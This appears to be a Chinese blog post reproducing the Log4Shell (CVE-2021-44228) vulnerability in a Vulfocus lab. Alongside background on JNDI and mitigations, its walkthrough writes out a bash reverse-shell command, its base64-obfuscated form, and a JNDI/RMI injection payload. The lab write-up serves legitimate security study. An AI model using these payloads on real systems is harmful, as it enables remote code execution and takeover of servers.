欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

CVE-2021-44228 Log4j 复制与原则

最编程 2024-03-13 20:21:09
...

一、漏洞概述

2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码,可以让未经身份验证的攻击者获得对目标系统的完全访问权限。

受影响版本:2.0-beta9 <= Apache Log4j <= 2.15.0-rc1

 

二、漏洞原理

 1.Log4j是什么

Apache Log4j 是一个基于Java的日志记录工具。经过多年的开发迭代,Log4j 1.x的维护已经变得非常困难,因为它需要与非常旧的 Java 版本兼容,所以于 2015 年 8 月正式升级为Log4j2。

2.LDAP是什么

轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。

3.JNDI

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

4.Log4j漏洞原理

本次漏洞是因为Log4j2组件中 lookup功能的实现类JndiLookup的设计缺陷导致,这个类存在于log4j-core-xxx.jar中。 简单来说就是因为输入的字符串没有添加限制,只要是符合${形式就可以。详情请膜拜大佬的文章(https://blog.****.net/wuyu7448/article/details/121985812)

 

三、漏洞复现环境

 Kali Linux + Vulfocus
渗透机:Kali Linux 
靶机:Vulfocus

 

四、实验流程 

1.开启vulfocus环境,进入漏洞场景;可以看到提供的端口号为11193

 

2.开启brup抓包,可以看到注入位置在/hello目录下的一个payload位置,并且是get提交的数据

 

3.开启侦听,端口号设为2333

 

4.构造攻击payload执行命令反弹shell

原始口令:bash -i >& /dev/tcp/IP/Port 0>&1 (IP:192.168.117.131  Port:2333)

经过base64编码:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9Qb3J0IDA+JjE=}|{base64,-d}|{bash,-i}

原因:由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密

 

5.使用JNDI注入,反弹shell并发送

①这里选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,并选取如图标识出的rmi

 ②利用漏洞地址去访问本地的JNDI服务

命令:payload=${jndi:获取的rmi} (rmi://192.168.117.131:1099/cwzhna)

URL编码:payload%3D%24%7Bjndi%3Armi%3A%2F%2F192.168.117.131%3A1099%2Fcwzhna%7D

 

 6.查看结果,可以看到反弹shell成功

 

 

 

 7.获取flag,复现完成

 

 

 

 

 

六、修复方式

1.禁止用户输入的参数中出现攻击关键字(过滤用户输入)

2.设置系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true

3.升级到官方最新版本:https://logging.apache.org/log4j/2.x/download.html

 

七、Poc

1.https://www.cnblogs.com/wavesky/p/16413847.html

2.https://github.com/wave-to/Poc/blob/main/Remote_code_execution/Poc_CVE-2021-44228.py

 

八、写在后面

 刚发现Vulfocus这个漏洞搭建平台,对我这种复现一个漏洞就要花好长时间搭建环境的简直太友好了。搭建过程详情见:https://blog.****.net/lza20001103/article/details/124367290